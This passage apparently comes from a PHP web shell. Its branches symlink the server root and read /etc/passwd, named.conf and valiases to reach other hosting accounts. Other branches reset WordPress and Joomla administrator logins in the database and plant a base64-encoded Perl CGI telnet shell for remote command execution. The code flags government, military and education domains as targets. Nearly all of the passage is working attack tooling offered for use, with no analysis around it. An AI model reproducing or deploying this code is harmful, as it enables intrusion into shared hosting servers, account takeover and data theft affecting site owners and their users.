1396 }
1397 if ($w or @filesize('maho.txt') > 0) {
1398 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK ETC/PASSWD- ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='400' cellspacing='0' cellpadding='0'>
1399<td align='center'> <font color='white'> <b>_USERS_</b></td>
1400<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
1401 flush();
1402 $fil3 = file('maho.txt');
1403 foreach ($fil3 as $f) {
1404 $u = explode(':', $f);
1405 $user = $u['0'];
1406 echo "<tr>
1407<td align='center'><font color='white'>$user</td>
1408<td align='center'><a class='dm' href='dm2sym/dm.txt/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
1409 flush();
1410 flush();
1411 }
1412 echo "</tr></table></div></html>";
1413 }
1414 }
1415}
1416# x=dmsym3
1417elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsym3')) {
1418 @session_start();
1419 @set_time_limit(0);
1420 @error_reporting(0);
1421 @ini_set('log_errors', 0);
1422 @ini_set('error_log', NULL);
1423 @ini_set('max_execution_time', 0);
1424 if ($win) {
1425 echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1426 }
1427 @mkdir('dm3sym', 0777);
1428 $sempak = "Options all
1429
1430DirectoryIndex dm.html
1431
1432AddType text/plain .php
1433
1434AddHandler server-parsed .php
1435
1436AddType text/plain .html
1437
1438AddHandler txt .html
1439
1440Require None
1441
1442Satisfy Any";
1443 $masuk = @fopen('dm3sym/.htaccess', 'w');
1444 fwrite($masuk, $sempak);
1445 @symlink('/', 'dm3sym/dm.txt');
1446 $pg = basename(__FILE__);
1447 $etc = file_get_contents("/etc/passwd");
1448 $etcz = explode("
1449", $etc);
1450 if (is_readable("/etc/passwd")) {
1451 echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK ETC/PASSWD ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
1452 echo '<tr>
1453<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1454<td align="center"> <font color="white"> <b>_USERS_</b></td>
1455<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
1456 $list = scandir("/var/named");
1457 foreach ($etcz as $etz) {
1458 $etcc = explode(":", $etz);
1459 foreach ($list as $domain) {
1460 if (strpos($domain, ".db")) {
1461 $domain = str_replace('.db', '', $domain);
1462 $owner = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1463 if ($owner['name'] == $etcc[0]) {
1464 $i+= 1;
1465 echo "<tr>
1466<td><a class='dm' href='http://" . $domain . " '>" . $domain . "</a></td>
1467<td align='center'><font color='white'>" . $owner['name'] . "</font></td>
1468<td align='center'><a href='dm3sym/dm.txt" . $owner['dir'] . "/public_html/' target='_blank'>Symlink</a></td>";
1469 }
1470 }
1471 }
1472 }
1473 flush();
1474 flush();
1475 }
1476 echo "</tr></table></div></html>";
1477}
1478# x=dmsym4
1479elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsym4')) {
1480 @session_start();
1481 @set_time_limit(0);
1482 @error_reporting(0);
1483 @ini_set('log_errors', 0);
1484 @ini_set('error_log', NULL);
1485 @ini_set('max_execution_time', 0);
1486 if ($win) {
1487 echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1488 }
1489 @mkdir('dm4sym', 0777);
1490 $sempak = "Options all
1491
1492DirectoryIndex dm.html
1493
1494AddType text/plain .php
1495
1496AddHandler server-parsed .php
1497
1498AddType text/plain .html
1499
1500AddHandler txt .html
1501
1502Require None
1503
1504Satisfy Any";
1505 $masuk = @fopen('dm4sym/.htaccess', 'w');
1506 fwrite($masuk, $sempak);
1507 @symlink('/', 'dm4sym/dm.txt');
1508 $pg = basename(__FILE__);
1509 if (is_readable("/etc/named.conf")) {
1510 echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK ETC/NAMED.CONF ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
1511 echo '<tr>
1512<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1513<td align="center"> <font color="white"> <b>_USERS_</b></td>
1514<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
1515 $named = file_get_contents("/etc/named.conf");
1516 preg_match_all('%zone \"(.*)\" {%', $named, $domains);
1517 foreach ($domains[1] as $domain) {
1518 $domain = trim($domain);
1519 $i+= 1;
1520 $owner = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1521 echo "<tr>
1522<td><a class='dm' href='http://" . $domain . " '>" . $domain . "</a></td>
1523<td align='center'><font color='white'>" . $owner['name'] . "</font></td>
1524<td align='center'><a href='dm4sym/dm.txt" . $owner['dir'] . "/public_html' target='_blank'>Symlink</a></td>";
1525 }
1526 flush();
1527 flush();
1528 }
1529 echo "</tr></table></div></html>";
1530}
1531# x=dmsym5
1532elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsym5')) {
1533 @session_start();
1534 @set_time_limit(0);
1535 @error_reporting(0);
1536 @ini_set('log_errors', 0);
1537 @ini_set('error_log', NULL);
1538 @ini_set('max_execution_time', 0);
1539 if ($win) {
1540 echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1541 }
1542 @mkdir('dm5sym', 0777);
1543 $sempak = "Options all
1544
1545DirectoryIndex dm.html
1546
1547AddType text/plain .php
1548
1549AddHandler server-parsed .php
1550
1551AddType text/plain .html
1552
1553AddHandler txt .html
1554
1555Require None
1556
1557Satisfy Any";
1558 $masuk = @fopen('dm5sym/.htaccess', 'w');
1559 fwrite($masuk, $sempak);
1560 @symlink('/', 'dm5sym/dm.txt');
1561 $pg = basename(__FILE__);
1562 $read_named_conf = @file('/etc/named.conf');
1563 if (!$read_named_conf) {
1564 echo "<center><br/><br/><nobr><span class='b9'>Can't Read File etc/named.conf :(</span></nobr><br/><br/>";
1565 } else {
1566 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK ETC/NAMED.CONF II ]:=O</span></b></nobr><br/><br/> <table border='3' bordercolor='#FF0000' width='400' cellpadding='1' cellspacing='0'>
1567<td align='center'> <font color='white'> <b>_DOMAINS_</b></td>
1568<td align='center'> <font color='white'> <b>_USERS_</b></td>
1569<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
1570 foreach ($read_named_conf as $subject) {
1571 if (eregi('zone', $subject)) {
1572 preg_match_all('#zone"(.*)"#', $subject, $string);
1573 flush();
1574 if (strlen(trim($string[1][0])) > 2) {
1575 $UID = posix_getpwuid(@fileowner('/etc/valiases/' . $string[1][0]));
1576 $name = $UID['name'];
1577 @symlink('/', 'dm5sym/dm.txt');
1578 $name = $string[1][0];
1579 $australia = '\.au';
1580 $bangladesh = '\.bd';
1581 $brazil = '\.br';
1582 $malaysia = '\.my';
1583 $myanmar = '\.mm';
1584 $indonesia = '\.id';
1585 $israel = '\.il';
1586 $romania = '\.ro';
1587 $edu = '\.edu';
1588 $gov = '\.gov';
1589 $go = '\.go';
1590 $gob = '\.gob';
1591 $mil = '\.mil';
1592 if (eregi("$australia", $string[1][0]) or eregi("$bangladesh", $string[1][0]) or eregi("$brazil", $string[1][0]) or eregi("$malaysia", $string[1][0]) or eregi("$myanmar", $string[1][0]) or eregi("$indonesia", $string[1][0]) or eregi("$israel", $string[1][0]) or eregi("$romania", $string[1][0]) or eregi("$edu", $string[1][0]) or eregi("$gov", $string[1][0]) or eregi("$go", $string[1][0]) or eregi("$gob", $string[1][0]) or eregi("$mil", $string[1][0]) or eregi("$mil2", $string[1][0])) {
1593 $name = "<div style=' color:yellow ; text-shadow: 0px 0px 1px red; '>" . $string[1][0] . '</div>';
1594 }
1595 echo "<tr>
1596<td><a class='dm' target='_blank' href=http://" . $string[1][0] . '/>' . $name . ' </a></center></div></td>
1597<td align=center><font color=white>' . $UID['name'] . "</td>
1598<td align=center><a href='dm5sym/dm.txt/home/" . $UID['name'] . "/public_html/' target='_blank'>Symlink </a></td></tr>";
1599 flush();
1600 }
1601 }
1602 }
1603 }
1604 flush();
1605 flush();
1606 echo "</tr></table></div></html>";
1607}
1608# x=dmsym6
1609elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsym6')) {
1610 @session_start();
1611 @set_time_limit(0);
1612 @error_reporting(0);
1613 @ini_set('log_errors', 0);
1614 @ini_set('error_log', NULL);
1615 @ini_set('max_execution_time', 0);
1616 if ($win) {
1617 echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1618 }
1619 @mkdir('dm6sym', 0777);
1620 $sempak = "Options all
1621
1622DirectoryIndex dm.html
1623
1624AddType text/plain .php
1625
1626AddHandler server-parsed .php
1627
1628AddType text/plain .html
1629
1630AddHandler txt .html
1631
1632Require None
1633
1634Satisfy Any";
1635 $masuk = @fopen('dm5sym/.htaccess', 'w');
1636 fwrite($masuk, $sempak);
1637 @symlink('/', 'dm6sym/dm.txt');
1638 $pg = basename(__FILE__);
1639 if (is_readable("/etc/valiases")) {
1640 echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK ETC/VALIASES ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="300" cellspacing="0" cellpadding="4">';
1641 echo '<tr>
1642<td align="center"><font color="white"> <b>_DOMAINS_</b></td>
1643<td align="center"><font color="white"> <b>_USERS_</b></td>
1644<td align="center"><font color="white"> <b>SYMLINK</b></td>';
1645 $list = scandir("/etc/valiases");
1646 foreach ($list as $domain) {
1647 $i+= 1;
1648 $owner = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1649 echo "<tr>
1650<td><a class='dm' href='http://" . $domain . " '>" . $domain . "</a></td>
1651<td align='center'><font color='white'>" . $owner['name'] . "</font></td>
1652<td align='center'><a href='dm6sym/dm.txt" . $owner['dir'] . "/public_html' target='_blank'>Symlink</a>/td>";
1653 }
1654 flush();
1655 flush();
1656 }
1657 echo "</tr></table></div></html>";
1658}
1659# x=wp3
1660elseif (isset($_GET['x']) && ($_GET['x'] == 'wp3')) {
1661 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ WORDPRESS PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
1662 if (empty($_POST['pwd'])) {
1663 echo "<FORM method='POST'>
1664<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Host</td><td>
1665<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
1666<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
1667<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
1668<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
1669<tr><td> User baru</td><td>
1670<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
1671 <tr><td> Pass Baru</td><td>
1672<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
1673
1674<input style='width:19%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
1675</td></tr> </table><br><br><br><br>
1676";
1677 } else {
1678 $localhost = $_POST['localhost'];
1679 $database = $_POST['database'];
1680 $username = $_POST['username'];
1681 $password = $_POST['password'];
1682 $pwd = $_POST['pwd'];
1683 $admin = $_POST['admin'];
1684 @mysql_connect($localhost, $username, $password) or die(mysql_error());
1685 @mysql_select_db($database) or die(mysql_error());
1686 $hash = crypt($pwd);
1687 $a4s = @mysql_query("UPDATE wp_users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysql_error());
1688 $a4s = @mysql_query("UPDATE wp_users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysql_error());
1689 $a4s = @mysql_query("UPDATE wp_users SET user_login ='" . $admin . "' WHERE ID = 2") or die(mysql_error());
1690 $a4s = @mysql_query("UPDATE wp_users SET user_pass ='" . $hash . "' WHERE ID = 2") or die(mysql_error());
1691 $a4s = @mysql_query("UPDATE wp_users SET user_login ='" . $admin . "' WHERE ID = 3") or die(mysql_error());
1692 $a4s = @mysql_query("UPDATE wp_users SET user_pass ='" . $hash . "' WHERE ID = 3") or die(mysql_error());
1693 $a4s = @mysql_query("UPDATE wp_users SET user_email ='" . $SQL . "' WHERE ID = 1") or die(mysql_error());
1694 if ($a4s) {
1695 echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
1696 }
1697 }
1698 echo "</div>";
1699}
1700# x=jm4
1701elseif (isset($_GET['x']) && ($_GET['x'] == 'jm4')) {
1702 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ JOOMLA PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
1703 if (empty($_POST['pwd'])) {
1704 echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
1705<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr>
1706<tr><td> Database</td><td>
1707<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr>
1708<tr><td> username</td><td>
1709<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr>
1710<tr><td> password</td><td>
1711<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
1712<tr><td> New User</td><td>
1713<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
1714<tr><td> New Pass </td>
1715<td>123456 = <input style='width:160px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' /> </td></tr>
1716<tr><td><input style='width:130%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
1717</td></tr></table><br>";
1718 } else {
1719 $localhost = $_POST['localhost'];
1720 $database = $_POST['database'];
1721 $username = $_POST['username'];
1722 $password = $_POST['password'];
1723 $pwd = $_POST['pwd'];
1724 $admin = $_POST['admin'];
1725 @mysql_connect($localhost, $username, $password) or die(mysql_error());
1726 @mysql_select_db($database) or die(mysql_error());
1727 $hash = crypt($pwd);
1728 $SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 62") or die(mysql_error());
1729 $SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 62") or die(mysql_error());
1730 $SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 63") or die(mysql_error());
1731 $SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 63") or die(mysql_error());
1732 $SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 64") or die(mysql_error());
1733 $SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 64") or die(mysql_error());
1734 $SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 65") or die(mysql_error());
1735 $SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 65") or die(mysql_error());
1736 if ($SQL) {
1737 echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
1738 }
1739 }
1740 echo "</div>";
1741}
1742# x=cgi2012
1743elseif (isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
1744 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ CGI TELNET</span> <span class='b8'> 2012 ]:=O</span></b></nobr><br/><br/> ";
1745 echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='telnet/telnet.cok' target='_blank'>[+] HERE [+]</a></center></span></br>";
1746 mkdir('telnet', 0755);
1747 chdir('telnet');
1748 $htcok = ".htaccess";
1749 $htaccesscok = "$htcok";
1750 $file = fopen($htaccesscok, 'w');
1751 $cacad = "AddHandler cgi-script .cok";
1752 fwrite($file, $cacad);
1753 fclose($file);
1754 $cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+RE1fWk9ORTwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiYW51IjsJCQkNCgkJCQkNCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5DR0kgVEVMTkVUPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogIzJCQThFQzsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0